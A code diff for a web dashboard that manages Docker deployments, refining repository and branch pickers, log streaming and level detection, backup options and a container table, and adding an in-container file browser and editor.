className="flex items-center gap-1 text-sm text-muted-foreground hover:text-primary"
@@ -234,7 +242,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -243,14 +251,19 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) => repo.name === field.value.repo,
)?.name ?? "Select repository")}
(repo) =>
repo.name === field.value.repo &&
repo.owner.login === field.value.owner,
)?.name ?? field.value.repo)}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -270,7 +283,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={repo.name}
value={`${repo.owner.login}/${repo.name}`}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -280,8 +293,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.login}
</span>
@@ -289,7 +302,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.login === field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -321,22 +335,25 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between bg-input!",
" w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
{status === "pending" && fetchStatus === "fetching"
? "Loading...."
: field.value
? branches?.find(
? (branches?.find(
(branch) => branch.name === field.value,
)?.name
)?.name ?? field.value)
: "Select branch"}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -364,7 +381,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
@@ -421,8 +438,12 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
</TooltipProvider>
</div>
<Select
onValueChange={field.onChange}
defaultValue={field.value}
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
}}
value={field.value}
>
<FormControl>
@@ -468,14 +489,18 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@@ -527,14 +552,14 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -199,6 +199,9 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<FormLabel>Gitlab Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -208,7 +211,6 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -256,7 +258,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -272,7 +274,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -310,8 +315,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{repo.name}
</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -353,7 +360,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between bg-input!",
" w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -368,7 +375,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -396,7 +406,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
@@ -458,14 +468,18 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@@ -513,14 +527,14 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -52,7 +52,7 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
Preview Compose
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-6xl max-h-200">
<DialogContent className="sm:max-w-6xl max-h-[85vh] flex flex-col">
<DialogHeader>
<DialogTitle>Converted Compose</DialogTitle>
<DialogDescription>
@@ -62,10 +62,6 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
</DialogHeader>
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
<AlertBlock type="info" className="mb-4">
Preview your docker-compose file with added domains. Note: At least
one domain must be specified for this conversion to take effect.
</AlertBlock>
{isPending ? (
<div className="flex flex-row items-center justify-center min-h-100 border p-4 rounded-md">
<Loader2 className="h-8 w-8 text-muted-foreground mb-2 animate-spin" />
@@ -79,7 +75,7 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
</div>
) : (
<>
<div className="flex flex-row gap-2 justify-end my-4">
<div className="flex flex-row gap-2 justify-end">
<Button
variant="secondary"
isLoading={isPending}
@@ -100,14 +96,15 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
</Button>
</div>
<pre>
<div className="flex-1 min-h-0 overflow-auto rounded-md border">
<CodeEditor
value={compose || ""}
language="yaml"
readOnly
height="50rem"
height="100%"
wrapperClassName="h-full"
/>
</pre>
</div>
</>
)}
</DialogContent>
@@ -35,9 +35,14 @@ export const DockerLogs = dynamic(
interface Props {
appName: string;
serverId?: string;
serviceId?: string;
}
export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
export const ShowDockerLogsStack = ({
appName,
serverId,
serviceId,
}: Props) => {
const [option, setOption] = useState<"swarm" | "native">("native");
const [containerId, setContainerId] = useState<string | undefined>();
@@ -52,7 +57,7 @@ export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
},
);
const { data: containers, isPending: containersLoading } =
const { data, isPending: containersLoading } =
api.docker.getContainersByAppNameMatch.useQuery(
{
appName,
@@ -64,6 +69,8 @@ export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
},
);
const containers = data?.filter((container) => container.containerId);
useEffect(() => {
if (option === "native") {
if (containers && containers?.length > 0) {
@@ -167,6 +174,7 @@ export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
serverId={serverId || ""}
containerId={containerId || "select-a-container"}
runType={option}
serviceId={serviceId}
/>
</CardContent>
</Card>
@@ -35,12 +35,14 @@ interface Props {
appName: string;
serverId?: string;
appType: "stack" | "docker-compose";
serviceId?: string;
}
export const ShowDockerLogsCompose = ({
appName,
appType,
serverId,
serviceId,
}: Props) => {
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
{
@@ -104,6 +106,7 @@ export const ShowDockerLogsCompose = ({
serverId={serverId || ""}
containerId={containerId || "select-a-container"}
runType="native"
serviceId={serviceId}
/>
</CardContent>
</Card>
@@ -79,6 +79,7 @@ const Schema = z
schedule: z.string().min(1, "Schedule (Cron) required"),
prefix: z.string().min(1, "Prefix required"),
enabled: z.boolean(),
includeEncryptionKey: z.boolean(),
database: z.string().min(1, "Database required"),
keepLatestCount: z.coerce.number().optional(),
serviceName: z.string().nullable(),
@@ -223,6 +224,7 @@ export const HandleBackup = ({
: "",
destinationId: "",
enabled: true,
includeEncryptionKey: true,
prefix: "/",
schedule: "",
keepLatestCount: undefined,
@@ -262,6 +264,7 @@ export const HandleBackup = ({
: "",
destinationId: backup?.destinationId ?? "",
enabled: backup?.enabled ?? true,
includeEncryptionKey: backup?.includeEncryptionKey ?? true,
prefix: backup?.prefix ?? "/",
schedule: backup?.schedule ?? "",
keepLatestCount: backup?.keepLatestCount ?? undefined,
@@ -309,6 +312,7 @@ export const HandleBackup = ({
prefix: data.prefix,
schedule: data.schedule,
enabled: data.enabled,
includeEncryptionKey: data.includeEncryptionKey,
database: data.database,
keepLatestCount: data.keepLatestCount ?? null,
databaseType: data.databaseType || databaseType,
@@ -409,7 +413,7 @@ export const HandleBackup = ({
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -665,6 +669,31 @@ export const HandleBackup = ({
</FormItem>
)}
/>
{databaseType === "web-server" && (
<FormField
control={form.control}
name="includeEncryptionKey"
render={({ field }) => (
<FormItem className="flex flex-row items-center justify-between rounded-lg border p-3 ">
<div className="space-y-0.5">
<FormLabel>Include encryption key</FormLabel>
<FormDescription>
Stores the encryption key inside the backup so
environment variables can be restored on a new server.
Anyone with access to the backup file can decrypt
them.
</FormDescription>
</div>
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
</FormItem>
)}
/>
)}
{backupType === "compose" && (
<>
{form.watch("databaseType") === "postgres" && (
@@ -316,7 +316,7 @@ export const RestoreBackup = ({
Restore Backup
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-lg">
<DialogContent className="sm:max-w-2xl">
<DialogHeader>
<DialogTitle className="flex items-center">
<RotateCcw className="mr-2 size-4" />
@@ -345,7 +345,7 @@ export const RestoreBackup = ({
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -427,7 +427,7 @@ export const RestoreBackup = ({
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -0,0 +1,401 @@
import {
ChevronRight,
Download,
File,
Folder,
FolderOpen,
Loader2,
RefreshCw,
Trash2,
} from "lucide-react";
import { useEffect, useMemo, useState } from "react";
import { toast } from "sonner";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { DialogAction } from "@/components/shared/dialog-action";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
import { api } from "@/utils/api";
type Props = {
serverId?: string;
children?: React.ReactNode;
asDropdownItem?: boolean;
} & (
| { containerId: string; volumeName?: undefined }
| { volumeName: string; containerId?: undefined }
);
const joinPath = (base: string, name: string) =>
base === "/" ? `/${name}` : `${base}/${name}`;
const decodeBase64 = (base64: string) => {
const binary = atob(base64);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i++) {
bytes[i] = binary.charCodeAt(i);
}
return bytes;
};
export const FilesExplorerModal = ({
containerId,
volumeName,
serverId,
children,
asDropdownItem = true,
}: Props) => {
const [open, setOpen] = useState(false);
const [path, setPath] = useState("/");
const [selectedFile, setSelectedFile] = useState<string | null>(null);
const [editorContent, setEditorContent] = useState("");
const isVolume = !!volumeName;
const utils = api.useUtils();
const containerEntries = api.docker.listContainerFiles.useQuery(
{ containerId: containerId ?? "", path, serverId },
{ enabled: open && !isVolume, retry: false },
);
const volumeEntries = api.dockerVolume.listVolumeFiles.useQuery(
{ volumeName: volumeName ?? "", path, serverId },
{ enabled: open && isVolume, retry: false },
);
const {
data: entries,
isLoading: isLoadingEntries,
error: entriesError,
refetch: refetchEntries,
isRefetching,
} = isVolume ? volumeEntries : containerEntries;
const containerFile = api.docker.readContainerFile.useQuery(
{ containerId: containerId ?? "", path: selectedFile ?? "/", serverId },
{ enabled: open && !isVolume && !!selectedFile, retry: false },
);
const volumeFile = api.dockerVolume.readVolumeFile.useQuery(
{ volumeName: volumeName ?? "", path: selectedFile ?? "/", serverId },
{ enabled: open && isVolume && !!selectedFile, retry: false },
);
const {
data: file,
isLoading: isLoadingFile,
error: fileError,
refetch: refetchFile,
} = isVolume ? volumeFile : containerFile;
const fileBytes = useMemo(
() => (file ? decodeBase64(file.content) : null),
[file],
);
const isBinary = useMemo(
() => !!fileBytes?.some((byte) => byte === 0),
[fileBytes],
);
useEffect(() => {
if (fileBytes && !isBinary) {
setEditorContent(new TextDecoder().decode(fileBytes));
}
}, [fileBytes, isBinary]);
const writeContainerFile = api.docker.writeContainerFile.useMutation();
const writeVolumeFile = api.dockerVolume.writeVolumeFile.useMutation();
const deleteContainerFile = api.docker.deleteContainerFile.useMutation();
const deleteVolumeFile = api.dockerVolume.deleteVolumeFile.useMutation();
const isSaving = writeContainerFile.isPending || writeVolumeFile.isPending;
const isDeleting =
deleteContainerFile.isPending || deleteVolumeFile.isPending;
const saveFile = async () => {
if (!selectedFile) return;
try {
if (isVolume) {
await writeVolumeFile.mutateAsync({
volumeName,
path: selectedFile,
content: editorContent,
serverId,
});
} else {
await writeContainerFile.mutateAsync({
containerId: containerId ?? "",
path: selectedFile,
content: editorContent,
serverId,
});
}
toast.success("File saved");
refetchFile();
} catch (error) {
toast.error(
error instanceof Error ? error.message : "Failed to save file",
);
}
};
const deleteEntry = async (entryPath: string) => {
try {
if (isVolume) {
await deleteVolumeFile.mutateAsync({
volumeName,
path: entryPath,
serverId,
});
await utils.dockerVolume.listVolumeFiles.invalidate();
} else {
await deleteContainerFile.mutateAsync({
containerId: containerId ?? "",
path: entryPath,
serverId,
});
await utils.docker.listContainerFiles.invalidate();
}
toast.success("Deleted");
if (selectedFile === entryPath) {
setSelectedFile(null);
}
} catch (error) {
toast.error(error instanceof Error ? error.message : "Failed to delete");
}
};
const breadcrumbs = path.split("/").filter(Boolean);
const navigate = (nextPath: string) => {
setPath(nextPath);
setSelectedFile(null);
};
const handleOpenChange = (value: boolean) => {
setOpen(value);
if (!value) {
setPath("/");
setSelectedFile(null);
setEditorContent("");
}
};
const downloadFile = () => {
if (!fileBytes || !selectedFile) return;
const blob = new Blob([fileBytes]);
const url = URL.createObjectURL(blob);
const anchor = document.createElement("a");
anchor.href = url;
anchor.download = selectedFile.split("/").pop() ?? "file";
anchor.click();
URL.revokeObjectURL(url);
};
return (
<Dialog open={open} onOpenChange={handleOpenChange}>
<DialogTrigger asChild>
{asDropdownItem ? (
<DropdownMenuItem
className="w-full cursor-pointer space-x-3"
onSelect={(e) => e.preventDefault()}
>
{children}
</DropdownMenuItem>
) : (
children
)}
</DialogTrigger>
<DialogContent className="sm:max-w-6xl">
<DialogHeader>
<DialogTitle className="flex items-center gap-2">
<FolderOpen className="size-5" />
{isVolume ? "Volume Files" : "Container Files"}
</DialogTitle>
<DialogDescription>
{isVolume
? `Browse and edit files inside the "${volumeName}" volume`
: "Browse and edit files inside the container's filesystem"}
</DialogDescription>
</DialogHeader>
<div className="flex items-center gap-1 text-sm font-mono flex-wrap">
<button
type="button"
className="hover:underline text-muted-foreground"
onClick={() => navigate("/")}
>
/
</button>
{breadcrumbs.map((segment, index) => (
<span
key={`/${breadcrumbs.slice(0, index + 1).join("/")}`}
className="flex items-center gap-1"
>
<button
type="button"
className="hover:underline text-muted-foreground"
onClick={() =>
navigate(`/${breadcrumbs.slice(0, index + 1).join("/")}`)
}
>
{segment}
</button>
{index < breadcrumbs.length - 1 && (
<ChevronRight className="size-3 text-muted-foreground" />
)}
</span>
))}
<Button
variant="ghost"
size="icon"
className="ml-auto size-7"
onClick={() => refetchEntries()}
>
<RefreshCw
className={`size-4 ${isRefetching ? "animate-spin" : ""}`}
/>
</Button>
</div>
<div className="flex gap-4 min-h-[55vh] max-h-[65vh]">
<div className="w-72 shrink-0 border rounded-lg overflow-y-auto">
{isLoadingEntries ? (
<div className="flex h-full items-center justify-center gap-2 text-sm text-muted-foreground p-4">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : entriesError ? (
<div className="p-3">
<AlertBlock type="error">{entriesError.message}</AlertBlock>
</div>
) : (
<div className="flex flex-col p-1">
{path !== "/" && (
<button
type="button"
className="flex items-center gap-2 rounded-md px-2 py-1.5 text-sm hover:bg-muted text-left"
onClick={() =>
navigate(`/${breadcrumbs.slice(0, -1).join("/")}` || "/")
}
>
<Folder className="size-4 shrink-0 text-muted-foreground" />
..
</button>
)}
{entries?.length === 0 && (
<span className="px-2 py-1.5 text-sm text-muted-foreground">
Empty directory
</span>
)}
{entries?.map((entry) => {
const entryPath = joinPath(path, entry.name);
return (
<div
key={entry.name}
className={`group flex items-center rounded-md hover:bg-muted ${
selectedFile === entryPath ? "bg-muted" : ""
}`}
>
<button
type="button"
className="flex flex-1 items-center gap-2 px-2 py-1.5 text-sm text-left min-w-0"
onClick={() =>
entry.isDirectory
? navigate(entryPath)
: setSelectedFile(entryPath)
}
>
{entry.isDirectory ? (
<Folder className="size-4 shrink-0 text-muted-foreground" />
) : (
<File className="size-4 shrink-0 text-muted-foreground" />
)}
<span className="truncate">{entry.name}</span>
</button>
<DialogAction
title={`Delete ${entry.name}?`}
description={`This will permanently delete ${entryPath}${entry.isDirectory ? " and all its contents" : ""}.`}
onClick={() => deleteEntry(entryPath)}
>
<Button
variant="ghost"
size="icon"
className="size-7 opacity-0 group-hover:opacity-100 shrink-0"
isLoading={isDeleting}
>
<Trash2 className="size-3.5 text-destructive" />
</Button>
</DialogAction>
</div>
);
})}
</div>
)}
</div>
<div className="flex-1 min-w-0 flex flex-col gap-2">
{!selectedFile ? (
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
Select a file to view or edit it
</div>
) : isLoadingFile ? (
<div className="flex flex-1 items-center justify-center gap-2 text-sm text-muted-foreground rounded-lg border">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : fileError ? (
<AlertBlock type="error">{fileError.message}</AlertBlock>
) : (
<>
<div className="flex items-center gap-2">
<span className="text-sm font-mono truncate text-muted-foreground">
{selectedFile}
</span>
<div className="ml-auto flex items-center gap-2">
<Button variant="outline" size="sm" onClick={downloadFile}>
<Download className="size-4" />
Download
</Button>
<Button
size="sm"
isLoading={isSaving}
disabled={isBinary || file?.truncated}
onClick={saveFile}
>
Save
</Button>
</div>
</div>
{file?.truncated ? (
<AlertBlock type="warning">
This file is larger than 512KB. Showing a truncated preview;
editing is disabled. Use Download to get the truncated
content or the terminal for full access.
</AlertBlock>
) : isBinary ? (
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
Binary file — use Download instead
</div>
) : (
<div className="flex-1 overflow-auto rounded-lg border">
<CodeEditor
lineWrapping
value={editorContent}
onChange={(value) => setEditorContent(value)}
wrapperClassName="h-full font-mono"
/>
</div>
)}
</>
)}
</div>
</div>
</DialogContent>
</Dialog>
);
};
@@ -23,6 +23,7 @@ interface Props {
containerId: string;
serverId?: string | null;
runType: "swarm" | "native";
serviceId?: string;
}
export const priorities = [
@@ -52,6 +53,7 @@ export const DockerLogsId: React.FC<Props> = ({
containerId,
serverId,
runType,
serviceId,
}) => {
const { data } = api.docker.getConfig.useQuery(
{
@@ -157,6 +159,10 @@ export const DockerLogsId: React.FC<Props> = ({
params.append("serverId", serverId);
}
if (serviceId) {
params.append("serviceId", serviceId);
}
const wsUrl = `${protocol}//${
window.location.host
}/docker-container-logs?${params.toString()}`;
@@ -222,7 +228,7 @@ export const DockerLogsId: React.FC<Props> = ({
ws.close();
}
};
}, [containerId, serverId, lines, search, since]);
}, [containerId, serverId, serviceId, lines, search, since]);
const handleDownload = () => {
const logContent = filteredLogs
@@ -72,8 +72,68 @@ export function parseLogs(logString: string): LogLine[] {
.filter((log) => log !== null);
}
const LEVEL_NAME_TO_TYPE: Record<string, LogType> = {
trace: "debug",
debug: "debug",
info: "info",
information: "info",
notice: "info",
warn: "warning",
warning: "warning",
error: "error",
err: "error",
fatal: "error",
critical: "error",
panic: "error",
alert: "error",
emergency: "error",
};
const numericLevelToType = (level: number): LogType => {
// pino/bunyan scale: 10=trace 20=debug 30=info 40=warn 50=error 60=fatal
if (level >= 50) return "error";
if (level >= 40) return "warning";
if (level >= 30) return "info";
if (level >= 10) return "debug";
// syslog/GELF scale: 0=emergency ... 7=debug
if (level <= 3) return "error";
if (level === 4) return "warning";
if (level <= 6) return "info";
return "debug";
};
// Extract the log level explicitly declared by structured loggers
// (pino, bunyan, winston, zap, slog, logfmt, GCP severity)
const getExplicitLevelType = (message: string): LogType | null => {
// JSON string levels: {"level":"error"} / {"severity":"ERROR"} / {"log.level":"warn"}
const jsonStringMatch = message.match(
/"(?:level|severity|log\.level|loglevel)"\s*:\s*"([a-z]+)"/i,
);
if (jsonStringMatch?.[1]) {
return LEVEL_NAME_TO_TYPE[jsonStringMatch[1].toLowerCase()] ?? null;
}
// JSON numeric levels: {"level":50}
const jsonNumericMatch = message.match(/"level"\s*:\s*(\d{1,2})\b/);
if (jsonNumericMatch?.[1]) {
return numericLevelToType(Number(jsonNumericMatch[1]));
}
// logfmt: level=error
const logfmtMatch = message.match(/(?:^|\s)(?:level|severity)=([a-z]+)\b/i);
if (logfmtMatch?.[1]) {
return LEVEL_NAME_TO_TYPE[logfmtMatch[1].toLowerCase()] ?? null;
}
return null;
};
// Detect log type based on message content
export const getLogType = (message: string): LogStyle => {
// A level explicitly declared by the logger wins over any inference
const explicitType = getExplicitLevelType(message);
if (explicitType) return LOG_STYLES[explicitType];
// Detect HTTP statusCode
const statusMatch = message.match(/"statusCode"\s*:\s*"?(\d{3})"?/);
@@ -97,17 +157,27 @@ export const getLogType = (message: string): LogStyle => {
return LOG_STYLES.info;
}
// Key/value pairs that explicitly report a non-error (e.g. "error: none",
// "failed: false") must not trigger the error keyword patterns below
const nonErrorColonPairs =
/\b(?:error|err|errors|failed|failure|failures)\s*:\s*(?:none|null|nil|false|0|no|-|""|'')(?=[,;.)\]]|$)/gi;
const nonErrorLogfmtPairs =
/\b(?:error|err|errors|failed|failure|failures)\s*=\s*(?:none|null|nil|false|0|no|-|""|'')(?=[\s,;.)\]]|$)/gi;
const errorScope = lowerMessage
.replace(nonErrorColonPairs, "")
.replace(nonErrorLogfmtPairs, "");
if (
/(?:^|\s)(?:error|err):?\s/i.test(lowerMessage) ||
/\b(?:exception|failed|failure)\b/i.test(lowerMessage) ||
/(?:stack\s?trace):\s*$/i.test(lowerMessage) ||
/^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(lowerMessage) ||
/\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(lowerMessage) ||
/Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(lowerMessage) ||
/\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(lowerMessage) ||
/\[(?:error|err|fatal)\]/i.test(lowerMessage) ||
/\b(?:crash|critical|fatal)\b/i.test(lowerMessage) ||
/\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(lowerMessage)
/(?:^|\s)(?:error|err):?\s/i.test(errorScope) ||
/\b(?:exception|failed|failure)\b/i.test(errorScope) ||
/(?:stack\s?trace):\s*$/i.test(errorScope) ||
/^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(errorScope) ||
/\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(errorScope) ||
/Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(errorScope) ||
/\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(errorScope) ||
/\[(?:error|err|fatal)\]/i.test(errorScope) ||
/\b(?:crash|critical|fatal)\b/i.test(errorScope) ||
/\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(errorScope)
) {
return LOG_STYLES.error;
}
@@ -1,14 +1,18 @@
import type { ColumnDef } from "@tanstack/react-table";
import copy from "copy-to-clipboard";
import { ArrowUpDown, MoreHorizontal } from "lucide-react";
import { toast } from "sonner";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
DropdownMenu,
DropdownMenuContent,
DropdownMenuItem,
DropdownMenuLabel,
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import { ShowContainerConfig } from "../config/show-container-config";
import { FilesExplorerModal } from "../files/files-explorer-modal";
import { ShowDockerModalLogs } from "../logs/show-docker-modal-logs";
import { ShowContainerMounts } from "../mounts/show-container-mounts";
import { ShowContainerNetworks } from "../networks/show-container-networks";
@@ -37,6 +41,7 @@ export const columns: ColumnDef<Container>[] = [
},
{
accessorKey: "state",
filterFn: "equals",
header: ({ column }) => {
return (
<Button
@@ -56,7 +61,7 @@ export const columns: ColumnDef<Container>[] = [
variant={
value === "running"
? "default"
: value === "failed"
: value === "exited" || value === "dead"
? "destructive"
: "secondary"
}
@@ -99,6 +104,28 @@ export const columns: ColumnDef<Container>[] = [
},
cell: ({ row }) => <div className="lowercase">{row.getValue("image")}</div>,
},
{
accessorKey: "ports",
header: ({ column }) => {
return (
<Button
variant="ghost"
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
>
Ports
<ArrowUpDown className="ml-2 h-4 w-4" />
</Button>
);
},
cell: ({ row }) => {
const value = row.getValue("ports") as string;
return (
<div className="max-w-[16rem] truncate lowercase" title={value}>
{value}
</div>
);
},
},
{
id: "actions",
enableHiding: false,
@@ -115,6 +142,14 @@ export const columns: ColumnDef<Container>[] = [
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
<DropdownMenuLabel>Actions</DropdownMenuLabel>
<DropdownMenuItem
onClick={() => {
copy(container.containerId);
toast.success("Container ID copied to clipboard");
}}
>
Copy Container ID
</DropdownMenuItem>
<ShowDockerModalLogs
containerId={container.containerId}
serverId={container.serverId}
@@ -139,6 +174,12 @@ export const columns: ColumnDef<Container>[] = [
>
Terminal
</DockerTerminalModal>
<FilesExplorerModal
containerId={container.containerId}
serverId={container.serverId || undefined}
>
Browse Files
</FilesExplorerModal>
<UploadFileModal
containerId={container.containerId}
serverId={container.serverId || undefined}
@@ -9,7 +9,7 @@ import {
useReactTable,
type VisibilityState,
} from "@tanstack/react-table";
import { ChevronDown, Container } from "lucide-react";
import { ChevronDown, Container, RefreshCw } from "lucide-react";
import * as React from "react";
import { Button } from "@/components/ui/button";
import {
@@ -26,6 +26,13 @@ import {
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import {
Table,
TableBody,
@@ -44,10 +51,26 @@ interface Props {
serverId?: string;
}
const CONTAINER_STATES = [
"running",
"exited",
"paused",
"restarting",
"created",
"removing",
"dead",
];
export const ShowContainers = ({ serverId }: Props) => {
const { data, isPending } = api.docker.getContainers.useQuery({
serverId,
});
const { data, isPending, refetch, isRefetching } =
api.docker.getContainers.useQuery(
{
serverId,
},
{
refetchInterval: 10_000,
},
);
const [sorting, setSorting] = React.useState<SortingState>([]);
const [columnFilters, setColumnFilters] = React.useState<ColumnFiltersState>(
@@ -106,12 +129,48 @@ export const ShowContainers = ({ serverId }: Props) => {
}
className="md:max-w-sm"
/>
<Select
value={
(table.getColumn("state")?.getFilterValue() as string) ??
"all"
}
onValueChange={(value) =>
table
.getColumn("state")
?.setFilterValue(value === "all" ? undefined : value)
}
>
<SelectTrigger className="w-40 max-sm:w-full capitalize">
<SelectValue placeholder="Filter by state" />
</SelectTrigger>
